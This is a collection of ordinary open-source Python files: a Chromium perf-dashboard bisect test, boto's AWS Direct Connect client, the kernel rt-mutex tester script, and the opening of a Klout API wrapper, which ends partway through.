'command': ('tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.moz'),
'good_revision': '265549',
'bad_revision': '265556',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': '',
'target_arch': 'ia32',
'bisect_mode': 'return_code',
'original_bot_name': None,
})
def _TestGetConfigCommand(self, expected_command, **params_to_override):
"""Helper method to test the command returned for a get-config request."""
parameters = dict(
{
'bisect_bot': 'linux_perf_bisect',
'suite': 'page_cycler.moz',
'master_name': 'ChromiumPerf',
'metric': 'times/page_load_time',
'good_revision': '265549',
'bad_revision': '265556',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '10',
'bug_id': '-1',
'use_archive': ''
}, **params_to_override)
response = start_try_job.GetBisectConfig(**parameters)
self.assertEqual(expected_command, response.get('command'))
def testGetConfig_AndroidTelemetryTest(self):
self._TestGetConfigCommand(
('tools/perf/run_benchmark -v '
'--browser=android-chromium --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.morejs'),
bisect_bot='android_nexus7_perf_bisect',
suite='page_cycler.morejs')
def testGetConfig_CCPerftests(self):
self._TestGetConfigCommand(
('./out/Release/cc_perftests '
'--test-launcher-print-test-stdio=always'),
bisect_bot='linux_perf_bisect',
suite='cc_perftests')
def testGetConfig_AndroidCCPerftests(self):
self._TestGetConfigCommand(
'build/android/test_runner.py gtest --release -s cc_perftests',
bisect_bot='android_nexus7_perf_bisect',
suite='cc_perftests')
def testGetConfig_IdbPerf(self):
self._TestGetConfigCommand(
(r'.\out\Release\performance_ui_tests.exe '
'--gtest_filter=IndexedDBTest.Perf'),
bisect_bot='win_perf_bisect',
suite='idb_perf')
def testGetConfig_Startup_ProfileDirFlagAdded(self):
self._TestGetConfigCommand(
('python tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'--profile-dir=out/Release/generated_profile/small_profile '
'startup.cold.blank_page'),
bisect_bot='win_perf_bisect',
suite='startup.cold.dirty.blank_page')
def testGetConfig_SessionRestore_ProfileDirFlagAdded(self):
self._TestGetConfigCommand(
('python tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'--profile-dir=out/Release/generated_profile/small_profile '
'session_restore.warm.typical_25'),
bisect_bot='win_perf_bisect',
suite='session_restore.warm.typical_25')
def testGetConfig_PerformanceBrowserTests(self):
self._TestGetConfigCommand(
('./out/Release/performance_browser_tests '
'--test-launcher-print-test-stdio=always '
'--enable-gpu'),
bisect_bot='linux_perf_bisect',
suite='performance_browser_tests')
def testGuessBisectBot_FetchesNameFromBisectBotMap(self):
namespaced_stored_object.Set(
start_try_job._BISECT_BOT_MAP_KEY,
{'OtherMaster': [('foo', 'super_foo_bisect_bot')]})
self.assertEqual(
'super_foo_bisect_bot',
start_try_job.GuessBisectBot('OtherMaster', 'foo'))
def testGuessBisectBot_PlatformNotFound_UsesFallback(self):
namespaced_stored_object.Set(
start_try_job._BISECT_BOT_MAP_KEY,
{'OtherMaster': [('foo', 'super_foo_bisect_bot')]})
self.assertEqual(
'linux_perf_bisect',
start_try_job.GuessBisectBot('OtherMaster', 'bar'))
def testGuessBisectBot_TreatsMasterNameAsPrefix(self):
namespaced_stored_object.Set(
start_try_job._BISECT_BOT_MAP_KEY,
{'OtherMaster': [('foo', 'super_foo_bisect_bot')]})
self.assertEqual(
'super_foo_bisect_bot',
start_try_job.GuessBisectBot('OtherMasterFyi', 'foo'))
@mock.patch.object(start_try_job.buildbucket_service, 'PutJob',
mock.MagicMock(return_value='1234567'))
def testPerformBuildbucketBisect(self):
self.SetCurrentUser('foo@chromium.org')
cfg = rietveld_service.RietveldConfig(
id='default_rietveld_config',
client_email='sullivan@chromium.org',
service_account_key='Fake Account Key',
server_url='https://test-rietveld.appspot.com')
cfg.put()
bug_data.Bug(id=12345).put()
query_parameters = {
'bisect_bot': 'linux_perf_bisect',
'suite': 'dromaeo.jslibstylejquery',
'metric': 'jslib/jslib',
'good_revision': '215806',
'bad_revision': '215828',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
'bug_id': 12345,
'use_archive': '',
'use_recipe': 'true',
'step': 'perform-bisect',
}
response = self.testapp.post('/start_try_job', query_parameters)
response_dict = json.loads(response.body)
self.assertEqual(response_dict['issue_id'], '1234567')
self.assertIn('1234567', response_dict['issue_url'])
job_entities = try_job.TryJob.query(
try_job.TryJob.buildbucket_job_id == '1234567').fetch()
self.assertEqual(1, len(job_entities))
self.assertTrue(job_entities[0].use_buildbucket)
@mock.patch(
'google.appengine.api.urlfetch.fetch',
mock.MagicMock(side_effect=_MockFetch))
@mock.patch.object(
start_try_job.rietveld_service.RietveldService, '_MakeRequest',
mock.MagicMock(side_effect=_MockMakeRequest))
def testPerformBisect(self):
self.SetCurrentUser('foo@chromium.org')
# Fake Rietveld auth info
cfg = rietveld_service.RietveldConfig(
id='default_rietveld_config',
client_email='sullivan@chromium.org',
service_account_key='Fake Account Key',
server_url='https://test-rietveld.appspot.com')
cfg.put()
# Create bug.
bug_data.Bug(id=12345).put()
query_parameters = {
'bisect_bot': 'win_perf_bisect',
'suite': 'dromaeo.jslibstylejquery',
'metric': 'jslib/jslib',
'good_revision': '215806',
'bad_revision': '215828',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
'bug_id': 12345,
'use_archive': '',
'step': 'perform-bisect',
}
global _EXPECTED_CONFIG_DIFF
global _TEST_EXPECTED_BOT
global _TEST_EXPECTED_CONFIG_CONTENTS
_EXPECTED_CONFIG_DIFF = _EXPECTED_BISECT_CONFIG_DIFF
_TEST_EXPECTED_BOT = 'win_perf_bisect'
_TEST_EXPECTED_CONFIG_CONTENTS = _BISECT_CONFIG_CONTENTS
response = self.testapp.post('/start_try_job', query_parameters)
self.assertEqual(
json.dumps({'issue_id': '33001',
'issue_url': 'https://test-rietveld.appspot.com/33001'}),
response.body)
@mock.patch(
'google.appengine.api.urlfetch.fetch',
mock.MagicMock(side_effect=_MockFetch))
@mock.patch.object(
start_try_job.rietveld_service.RietveldService, '_MakeRequest',
mock.MagicMock(side_effect=_MockMakeRequest))
def testPerformPerfTry(self):
self.SetCurrentUser('foo@chromium.org')
# Fake Rietveld auth info
cfg = rietveld_service.RietveldConfig(
id='default_rietveld_config',
client_email='sullivan@chromium.org',
service_account_key='Fake Account Key',
server_url='https://test-rietveld.appspot.com/')
cfg.put()
query_parameters = {
'bisect_bot': 'linux_perf_bisect',
'suite': 'dromaeo.jslibstylejquery',
'good_revision': '215806',
'bad_revision': '215828',
'step': 'perform-perf-try',
'rerun_option': '',
}
global _EXPECTED_CONFIG_DIFF
global _TEST_EXPECTED_CONFIG_CONTENTS
global _TEST_EXPECTED_BOT
_EXPECTED_CONFIG_DIFF = _EXPECTED_PERF_CONFIG_DIFF
_TEST_EXPECTED_CONFIG_CONTENTS = _PERF_CONFIG_CONTENTS
_TEST_EXPECTED_BOT = 'linux_perf_bisect'
response = self.testapp.post('/start_try_job', query_parameters)
self.assertEqual(json.dumps({'issue_id': '33001'}), response.body)
@mock.patch(
'google.appengine.api.urlfetch.fetch',
mock.MagicMock(side_effect=_MockFetch))
@mock.patch.object(start_try_job.buildbucket_service, 'PutJob',
mock.MagicMock(return_value='1234567'))
def testPerformBisectWithArchive(self):
self.SetCurrentUser('foo@chromium.org')
# Create bug.
bug_data.Bug(id=12345).put()
query_parameters = {
'bisect_bot': 'linux_perf_bisect',
'suite': 'dromaeo.jslibstylejquery',
'metric': 'jslib/jslib',
'good_revision': '215806',
'bad_revision': '215828',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
'bug_id': 12345,
'use_archive': 'true',
'bisect_mode': 'mean',
'step': 'perform-bisect',
}
response = self.testapp.post('/start_try_job', query_parameters)
self.assertEqual(
json.dumps({'issue_id': '1234567',
'issue_url': '/buildbucket_job_status/1234567'}),
response.body)
def testGetBisectconfig_UseArchive(self):
self._TestGetBisectConfig(
{
'bisect_bot': 'win_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.morejs',
'metric': 'times/page_load_time',
'good_revision': '12345',
'bad_revision': '23456',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'use_archive': 'true',
},
{
'command': ('python tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.morejs'),
'good_revision': '12345',
'bad_revision': '23456',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': 'perf',
'target_arch': 'ia32',
'bisect_mode': 'mean',
'original_bot_name': None,
})
def testGetBisectConfig_WithTargetArch(self):
self._TestGetBisectConfig(
{
'bisect_bot': 'win_x64_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.moz',
'metric': 'times/page_load_time',
'good_revision': '265549',
'bad_revision': '265556',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'use_archive': ''
},
{
'command': ('python tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.moz'),
'good_revision': '265549',
'bad_revision': '265556',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': '',
'target_arch': 'x64',
'bisect_mode': 'mean',
'original_bot_name': None,
})
if __name__ == '__main__':
unittest.main()
| bsd-3-clause |
SaranyaKarthikeyan/boto | boto/directconnect/layer1.py | 148 | 23592 | # Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish, dis-
# tribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the fol-
# lowing conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-
# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
#
import boto
from boto.connection import AWSQueryConnection
from boto.regioninfo import RegionInfo
from boto.exception import JSONResponseError
from boto.directconnect import exceptions
from boto.compat import json
class DirectConnectConnection(AWSQueryConnection):
"""
AWS Direct Connect makes it easy to establish a dedicated network
connection from your premises to Amazon Web Services (AWS). Using
AWS Direct Connect, you can establish private connectivity between
AWS and your data center, office, or colocation environment, which
in many cases can reduce your network costs, increase bandwidth
throughput, and provide a more consistent network experience than
Internet-based connections.
The AWS Direct Connect API Reference provides descriptions,
syntax, and usage examples for each of the actions and data types
for AWS Direct Connect. Use the following links to get started
using the AWS Direct Connect API Reference :
+ `Actions`_: An alphabetical list of all AWS Direct Connect
actions.
+ `Data Types`_: An alphabetical list of all AWS Direct Connect
data types.
+ `Common Query Parameters`_: Parameters that all Query actions
can use.
+ `Common Errors`_: Client and server errors that all actions can
return.
"""
APIVersion = "2012-10-25"
DefaultRegionName = "us-east-1"
DefaultRegionEndpoint = "directconnect.us-east-1.amazonaws.com"
ServiceName = "DirectConnect"
TargetPrefix = "OvertureService"
ResponseError = JSONResponseError
_faults = {
"DirectConnectClientException": exceptions.DirectConnectClientException,
"DirectConnectServerException": exceptions.DirectConnectServerException,
}
def __init__(self, **kwargs):
region = kwargs.pop('region', None)
if not region:
region = RegionInfo(self, self.DefaultRegionName,
self.DefaultRegionEndpoint)
if 'host' not in kwargs:
kwargs['host'] = region.endpoint
super(DirectConnectConnection, self).__init__(**kwargs)
self.region = region
def _required_auth_capability(self):
return ['hmac-v4']
def allocate_connection_on_interconnect(self, bandwidth, connection_name,
owner_account, interconnect_id,
vlan):
"""
Creates a hosted connection on an interconnect.
Allocates a VLAN number and a specified amount of bandwidth
for use by a hosted connection on the given interconnect.
:type bandwidth: string
:param bandwidth: Bandwidth of the connection.
Example: " 500Mbps "
Default: None
:type connection_name: string
:param connection_name: Name of the provisioned connection.
Example: " 500M Connection to AWS "
Default: None
:type owner_account: string
:param owner_account: Numeric account Id of the customer for whom the
connection will be provisioned.
Example: 123443215678
Default: None
:type interconnect_id: string
:param interconnect_id: ID of the interconnect on which the connection
will be provisioned.
Example: dxcon-456abc78
Default: None
:type vlan: integer
:param vlan: The dedicated VLAN provisioned to the connection.
Example: 101
Default: None
"""
params = {
'bandwidth': bandwidth,
'connectionName': connection_name,
'ownerAccount': owner_account,
'interconnectId': interconnect_id,
'vlan': vlan,
}
return self.make_request(action='AllocateConnectionOnInterconnect',
body=json.dumps(params))
def allocate_private_virtual_interface(self, connection_id,
owner_account,
new_private_virtual_interface_allocation):
"""
Provisions a private virtual interface to be owned by a
different customer.
The owner of a connection calls this function to provision a
private virtual interface which will be owned by another AWS
customer.
Virtual interfaces created using this function must be
confirmed by the virtual interface owner by calling
ConfirmPrivateVirtualInterface. Until this step has been
completed, the virtual interface will be in 'Confirming'
state, and will not be available for handling traffic.
:type connection_id: string
:param connection_id: The connection ID on which the private virtual
interface is provisioned.
Default: None
:type owner_account: string
:param owner_account: The AWS account that will own the new private
virtual interface.
Default: None
:type new_private_virtual_interface_allocation: dict
:param new_private_virtual_interface_allocation: Detailed information
for the private virtual interface to be provisioned.
Default: None
"""
params = {
'connectionId': connection_id,
'ownerAccount': owner_account,
'newPrivateVirtualInterfaceAllocation': new_private_virtual_interface_allocation,
}
return self.make_request(action='AllocatePrivateVirtualInterface',
body=json.dumps(params))
def allocate_public_virtual_interface(self, connection_id, owner_account,
new_public_virtual_interface_allocation):
"""
Provisions a public virtual interface to be owned by a
different customer.
The owner of a connection calls this function to provision a
public virtual interface which will be owned by another AWS
customer.
Virtual interfaces created using this function must be
confirmed by the virtual interface owner by calling
ConfirmPublicVirtualInterface. Until this step has been
completed, the virtual interface will be in 'Confirming'
state, and will not be available for handling traffic.
:type connection_id: string
:param connection_id: The connection ID on which the public virtual
interface is provisioned.
Default: None
:type owner_account: string
:param owner_account: The AWS account that will own the new public
virtual interface.
Default: None
:type new_public_virtual_interface_allocation: dict
:param new_public_virtual_interface_allocation: Detailed information
for the public virtual interface to be provisioned.
Default: None
"""
params = {
'connectionId': connection_id,
'ownerAccount': owner_account,
'newPublicVirtualInterfaceAllocation': new_public_virtual_interface_allocation,
}
return self.make_request(action='AllocatePublicVirtualInterface',
body=json.dumps(params))
def confirm_connection(self, connection_id):
"""
Confirm the creation of a hosted connection on an
interconnect.
Upon creation, the hosted connection is initially in the
'Ordering' state, and will remain in this state until the
owner calls ConfirmConnection to confirm creation of the
hosted connection.
:type connection_id: string
:param connection_id: ID of the connection.
Example: dxcon-fg5678gh
Default: None
"""
params = {'connectionId': connection_id, }
return self.make_request(action='ConfirmConnection',
body=json.dumps(params))
def confirm_private_virtual_interface(self, virtual_interface_id,
virtual_gateway_id):
"""
Accept ownership of a private virtual interface created by
another customer.
After the virtual interface owner calls this function, the
virtual interface will be created and attached to the given
virtual private gateway, and will be available for handling
traffic.
:type virtual_interface_id: string
:param virtual_interface_id: ID of the virtual interface.
Example: dxvif-123dfg56
Default: None
:type virtual_gateway_id: string
:param virtual_gateway_id: ID of the virtual private gateway that will
be attached to the virtual interface.
A virtual private gateway can be managed via the Amazon Virtual Private
Cloud (VPC) console or the `EC2 CreateVpnGateway`_ action.
Default: None
"""
params = {
'virtualInterfaceId': virtual_interface_id,
'virtualGatewayId': virtual_gateway_id,
}
return self.make_request(action='ConfirmPrivateVirtualInterface',
body=json.dumps(params))
def confirm_public_virtual_interface(self, virtual_interface_id):
"""
Accept ownership of a public virtual interface created by
another customer.
After the virtual interface owner calls this function, the
specified virtual interface will be created and made available
for handling traffic.
:type virtual_interface_id: string
:param virtual_interface_id: ID of the virtual interface.
Example: dxvif-123dfg56
Default: None
"""
params = {'virtualInterfaceId': virtual_interface_id, }
return self.make_request(action='ConfirmPublicVirtualInterface',
body=json.dumps(params))
def create_connection(self, location, bandwidth, connection_name):
"""
Creates a new connection between the customer network and a
specific AWS Direct Connect location.
A connection links your internal network to an AWS Direct
Connect location over a standard 1 gigabit or 10 gigabit
Ethernet fiber-optic cable. One end of the cable is connected
to your router, the other to an AWS Direct Connect router. An
AWS Direct Connect location provides access to Amazon Web
Services in the region it is associated with. You can
establish connections with AWS Direct Connect locations in
multiple regions, but a connection in one region does not
provide connectivity to other regions.
:type location: string
:param location: Where the connection is located.
Example: EqSV5
Default: None
:type bandwidth: string
:param bandwidth: Bandwidth of the connection.
Example: 1Gbps
Default: None
:type connection_name: string
:param connection_name: The name of the connection.
Example: " My Connection to AWS "
Default: None
"""
params = {
'location': location,
'bandwidth': bandwidth,
'connectionName': connection_name,
}
return self.make_request(action='CreateConnection',
body=json.dumps(params))
def create_interconnect(self, interconnect_name, bandwidth, location):
"""
Creates a new interconnect between a AWS Direct Connect
partner's network and a specific AWS Direct Connect location.
An interconnect is a connection which is capable of hosting
other connections. The AWS Direct Connect partner can use an
interconnect to provide sub-1Gbps AWS Direct Connect service
to tier 2 customers who do not have their own connections.
Like a standard connection, an interconnect links the AWS
Direct Connect partner's network to an AWS Direct Connect
location over a standard 1 Gbps or 10 Gbps Ethernet fiber-
optic cable. One end is connected to the partner's router, the
other to an AWS Direct Connect router.
For each end customer, the AWS Direct Connect partner
provisions a connection on their interconnect by calling
AllocateConnectionOnInterconnect. The end customer can then
connect to AWS resources by creating a virtual interface on
their connection, using the VLAN assigned to them by the AWS
Direct Connect partner.
:type interconnect_name: string
:param interconnect_name: The name of the interconnect.
Example: " 1G Interconnect to AWS "
Default: None
:type bandwidth: string
:param bandwidth: The port bandwidth
Example: 1Gbps
Default: None
Available values: 1Gbps,10Gbps
:type location: string
:param location: Where the interconnect is located
Example: EqSV5
Default: None
"""
params = {
'interconnectName': interconnect_name,
'bandwidth': bandwidth,
'location': location,
}
return self.make_request(action='CreateInterconnect',
body=json.dumps(params))
def create_private_virtual_interface(self, connection_id,
new_private_virtual_interface):
"""
Creates a new private virtual interface. A virtual interface
is the VLAN that transports AWS Direct Connect traffic. A
private virtual interface supports sending traffic to a single
virtual private cloud (VPC).
:type connection_id: string
:param connection_id: ID of the connection.
Example: dxcon-fg5678gh
Default: None
:type new_private_virtual_interface: dict
:param new_private_virtual_interface: Detailed information for the
private virtual interface to be created.
Default: None
"""
params = {
'connectionId': connection_id,
'newPrivateVirtualInterface': new_private_virtual_interface,
}
return self.make_request(action='CreatePrivateVirtualInterface',
body=json.dumps(params))
def create_public_virtual_interface(self, connection_id,
new_public_virtual_interface):
"""
Creates a new public virtual interface. A virtual interface is
the VLAN that transports AWS Direct Connect traffic. A public
virtual interface supports sending traffic to public services
of AWS such as Amazon Simple Storage Service (Amazon S3).
:type connection_id: string
:param connection_id: ID of the connection.
Example: dxcon-fg5678gh
Default: None
:type new_public_virtual_interface: dict
:param new_public_virtual_interface: Detailed information for the
public virtual interface to be created.
Default: None
"""
params = {
'connectionId': connection_id,
'newPublicVirtualInterface': new_public_virtual_interface,
}
return self.make_request(action='CreatePublicVirtualInterface',
body=json.dumps(params))
def delete_connection(self, connection_id):
"""
Deletes the connection.
Deleting a connection only stops the AWS Direct Connect port
hour and data transfer charges. You need to cancel separately
with the providers any services or charges for cross-connects
or network circuits that connect you to the AWS Direct Connect
location.
:type connection_id: string
:param connection_id: ID of the connection.
Example: dxcon-fg5678gh
Default: None
"""
params = {'connectionId': connection_id, }
return self.make_request(action='DeleteConnection',
body=json.dumps(params))
def delete_interconnect(self, interconnect_id):
"""
Deletes the specified interconnect.
:type interconnect_id: string
:param interconnect_id: The ID of the interconnect.
Example: dxcon-abc123
"""
params = {'interconnectId': interconnect_id, }
return self.make_request(action='DeleteInterconnect',
body=json.dumps(params))
def delete_virtual_interface(self, virtual_interface_id):
"""
Deletes a virtual interface.
:type virtual_interface_id: string
:param virtual_interface_id: ID of the virtual interface.
Example: dxvif-123dfg56
Default: None
"""
params = {'virtualInterfaceId': virtual_interface_id, }
return self.make_request(action='DeleteVirtualInterface',
body=json.dumps(params))
def describe_connections(self, connection_id=None):
"""
Displays all connections in this region.
If a connection ID is provided, the call returns only that
particular connection.
:type connection_id: string
:param connection_id: ID of the connection.
Example: dxcon-fg5678gh
Default: None
"""
params = {}
if connection_id is not None:
params['connectionId'] = connection_id
return self.make_request(action='DescribeConnections',
body=json.dumps(params))
def describe_connections_on_interconnect(self, interconnect_id):
"""
Return a list of connections that have been provisioned on the
given interconnect.
:type interconnect_id: string
:param interconnect_id: ID of the interconnect on which a list of
connection is provisioned.
Example: dxcon-abc123
Default: None
"""
params = {'interconnectId': interconnect_id, }
return self.make_request(action='DescribeConnectionsOnInterconnect',
body=json.dumps(params))
def describe_interconnects(self, interconnect_id=None):
"""
Returns a list of interconnects owned by the AWS account.
If an interconnect ID is provided, it will only return this
particular interconnect.
:type interconnect_id: string
:param interconnect_id: The ID of the interconnect.
Example: dxcon-abc123
"""
params = {}
if interconnect_id is not None:
params['interconnectId'] = interconnect_id
return self.make_request(action='DescribeInterconnects',
body=json.dumps(params))
def describe_locations(self):
"""
Returns the list of AWS Direct Connect locations in the
current AWS region. These are the locations that may be
selected when calling CreateConnection or CreateInterconnect.
"""
params = {}
return self.make_request(action='DescribeLocations',
body=json.dumps(params))
def describe_virtual_gateways(self):
"""
Returns a list of virtual private gateways owned by the AWS
account.
You can create one or more AWS Direct Connect private virtual
interfaces linking to a virtual private gateway. A virtual
private gateway can be managed via Amazon Virtual Private
Cloud (VPC) console or the `EC2 CreateVpnGateway`_ action.
"""
params = {}
return self.make_request(action='DescribeVirtualGateways',
body=json.dumps(params))
def describe_virtual_interfaces(self, connection_id=None,
virtual_interface_id=None):
"""
Displays all virtual interfaces for an AWS account. Virtual
interfaces deleted fewer than 15 minutes before
DescribeVirtualInterfaces is called are also returned. If a
connection ID is included then only virtual interfaces
associated with this connection will be returned. If a virtual
interface ID is included then only a single virtual interface
will be returned.
A virtual interface (VLAN) transmits the traffic between the
AWS Direct Connect location and the customer.
If a connection ID is provided, only virtual interfaces
provisioned on the specified connection will be returned. If a
virtual interface ID is provided, only this particular virtual
interface will be returned.
:type connection_id: string
:param connection_id: ID of the connection.
Example: dxcon-fg5678gh
Default: None
:type virtual_interface_id: string
:param virtual_interface_id: ID of the virtual interface.
Example: dxvif-123dfg56
Default: None
"""
params = {}
if connection_id is not None:
params['connectionId'] = connection_id
if virtual_interface_id is not None:
params['virtualInterfaceId'] = virtual_interface_id
return self.make_request(action='DescribeVirtualInterfaces',
body=json.dumps(params))
def make_request(self, action, body):
headers = {
'X-Amz-Target': '%s.%s' % (self.TargetPrefix, action),
'Host': self.region.endpoint,
'Content-Type': 'application/x-amz-json-1.1',
'Content-Length': str(len(body)),
}
http_request = self.build_base_http_request(
method='POST', path='/', auth_path='/', params={},
headers=headers, data=body)
response = self._mexe(http_request, sender=None,
override_num_retries=10)
response_body = response.read().decode('utf-8')
boto.log.debug(response_body)
if response.status == 200:
if response_body:
return json.loads(response_body)
else:
json_body = json.loads(response_body)
fault_name = json_body.get('__type', None)
exception_class = self._faults.get(fault_name, self.ResponseError)
raise exception_class(response.status, response.reason,
body=json_body)
| mit |
TI-OpenLink/kernel-omap | scripts/rt-tester/rt-tester.py | 11005 | 5307 | #!/usr/bin/python
#
# rt-mutex tester
#
# (C) 2006 Thomas Gleixner <tglx@linutronix.de>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
import os
import sys
import getopt
import shutil
import string
# Globals
quiet = 0
test = 0
comments = 0
sysfsprefix = "/sys/devices/system/rttest/rttest"
statusfile = "/status"
commandfile = "/command"
# Command opcodes
cmd_opcodes = {
"schedother" : "1",
"schedfifo" : "2",
"lock" : "3",
"locknowait" : "4",
"lockint" : "5",
"lockintnowait" : "6",
"lockcont" : "7",
"unlock" : "8",
"signal" : "11",
"resetevent" : "98",
"reset" : "99",
}
test_opcodes = {
"prioeq" : ["P" , "eq" , None],
"priolt" : ["P" , "lt" , None],
"priogt" : ["P" , "gt" , None],
"nprioeq" : ["N" , "eq" , None],
"npriolt" : ["N" , "lt" , None],
"npriogt" : ["N" , "gt" , None],
"unlocked" : ["M" , "eq" , 0],
"trylock" : ["M" , "eq" , 1],
"blocked" : ["M" , "eq" , 2],
"blockedwake" : ["M" , "eq" , 3],
"locked" : ["M" , "eq" , 4],
"opcodeeq" : ["O" , "eq" , None],
"opcodelt" : ["O" , "lt" , None],
"opcodegt" : ["O" , "gt" , None],
"eventeq" : ["E" , "eq" , None],
"eventlt" : ["E" , "lt" , None],
"eventgt" : ["E" , "gt" , None],
}
# Print usage information
def usage():
print "rt-tester.py <-c -h -q -t> <testfile>"
print " -c display comments after first command"
print " -h help"
print " -q quiet mode"
print " -t test mode (syntax check)"
print " testfile: read test specification from testfile"
print " otherwise from stdin"
return
# Print progress when not in quiet mode
def progress(str):
if not quiet:
print str
# Analyse a status value
def analyse(val, top, arg):
intval = int(val)
if top[0] == "M":
intval = intval / (10 ** int(arg))
intval = intval % 10
argval = top[2]
elif top[0] == "O":
argval = int(cmd_opcodes.get(arg, arg))
else:
argval = int(arg)
# progress("%d %s %d" %(intval, top[1], argval))
if top[1] == "eq" and intval == argval:
return 1
if top[1] == "lt" and intval < argval:
return 1
if top[1] == "gt" and intval > argval:
return 1
return 0
# Parse the commandline
try:
(options, arguments) = getopt.getopt(sys.argv[1:],'chqt')
except getopt.GetoptError, ex:
usage()
sys.exit(1)
# Parse commandline options
for option, value in options:
if option == "-c":
comments = 1
elif option == "-q":
quiet = 1
elif option == "-t":
test = 1
elif option == '-h':
usage()
sys.exit(0)
# Select the input source
if arguments:
try:
fd = open(arguments[0])
except Exception,ex:
sys.stderr.write("File not found %s\n" %(arguments[0]))
sys.exit(1)
else:
fd = sys.stdin
linenr = 0
# Read the test patterns
while 1:
linenr = linenr + 1
line = fd.readline()
if not len(line):
break
line = line.strip()
parts = line.split(":")
if not parts or len(parts) < 1:
continue
if len(parts[0]) == 0:
continue
if parts[0].startswith("#"):
if comments > 1:
progress(line)
continue
if comments == 1:
comments = 2
progress(line)
cmd = parts[0].strip().lower()
opc = parts[1].strip().lower()
tid = parts[2].strip()
dat = parts[3].strip()
try:
# Test or wait for a status value
if cmd == "t" or cmd == "w":
testop = test_opcodes[opc]
fname = "%s%s%s" %(sysfsprefix, tid, statusfile)
if test:
print fname
continue
while 1:
query = 1
fsta = open(fname, 'r')
status = fsta.readline().strip()
fsta.close()
stat = status.split(",")
for s in stat:
s = s.strip()
if s.startswith(testop[0]):
# Separate status value
val = s[2:].strip()
query = analyse(val, testop, dat)
break
if query or cmd == "t":
break
progress(" " + status)
if not query:
sys.stderr.write("Test failed in line %d\n" %(linenr))
sys.exit(1)
# Issue a command to the tester
elif cmd == "c":
cmdnr = cmd_opcodes[opc]
# Build command string and sys filename
cmdstr = "%s:%s" %(cmdnr, dat)
fname = "%s%s%s" %(sysfsprefix, tid, commandfile)
if test:
print fname
continue
fcmd = open(fname, 'w')
fcmd.write(cmdstr)
fcmd.close()
except Exception,ex:
sys.stderr.write(str(ex))
sys.stderr.write("\nSyntax error in line %d\n" %(linenr))
if not test:
fd.close()
sys.exit(1)
# Normal exit pass
print "Pass"
sys.exit(0)
| gpl-2.0 |
ibmjstart/bluemix-python-sample-twitter-influence-app | app/klout-master/klout/api.py | 1 | 7997 | # -*- coding: utf-8 -*-
"""
A minimalist klout API interface. Use of this API
requires klout *developer key*. You can get registered and
get a key at
<http://klout.com/s/developers/v2>
Supports Python >= 2.5 and Python 3
====================
Quickstart
====================
Install the PyPi package::
pip install Klout
This short example shows how to get a kloutId first and fetch user's score using that kloutId::
from klout import *
# Make the Klout object
k = Klout('YOUR_KEY_HERE')
# Get kloutId of the user by inputting a twitter screenName
kloutId = k.identity.klout(screenName="erfaan").get('id')
# Get klout score of the user
score = k.user.score(kloutId=kloutId).get('score')
print "User's klout score is: %s" % (score)
# Optionally a timeout parameter (seconds) can also be sent with all calls
score = k.user.score(kloutId=kloutId, timeout=5).get('score')
"""
try:
import urllib.request as urllib_request
import urllib.error as urllib_error
import urllib.parse as urllib_parse
except ImportError:
import urllib2 as urllib_request
import urllib2 as urllib_error
import urllib as urllib_parse
try:
from cStringIO import StringIO
except ImportError:
from io import BytesIO as StringIO
import gzip
try:
import json
except ImportError:
import simplejson as json
import socket
class _DEFAULT(object):
pass
class KloutError( Exception ):
"""
Base Exception thrown by Klout object when there is a
general error interacting with the API.
"""
def __init__(self, e):
self.e = e
def __str__(self):
return repr(self)
def __repr__(self):
return ( "ERROR: %s" % self.e )
class KloutHTTPError( KloutError ):
"""
Exception thrown by Klout object when there is an
HTTP error interacting with api.klout.com.
"""
def __init__( self, e, uri ):
self.e = e
self.uri = uri
class KloutCall( object ):
def __init__(self, key, domain,
callable_cls, api_version = "",
uri = "", uriparts = None, secure=False):
self.key = key
self.domain = domain
self.api_version = api_version
self.callable_cls = callable_cls
self.uri = uri
self.secure = secure
self.uriparts = uriparts
def __getattr__(self, k):
try:
return object.__getattr__(self, k)
except AttributeError:
def extend_call(arg):
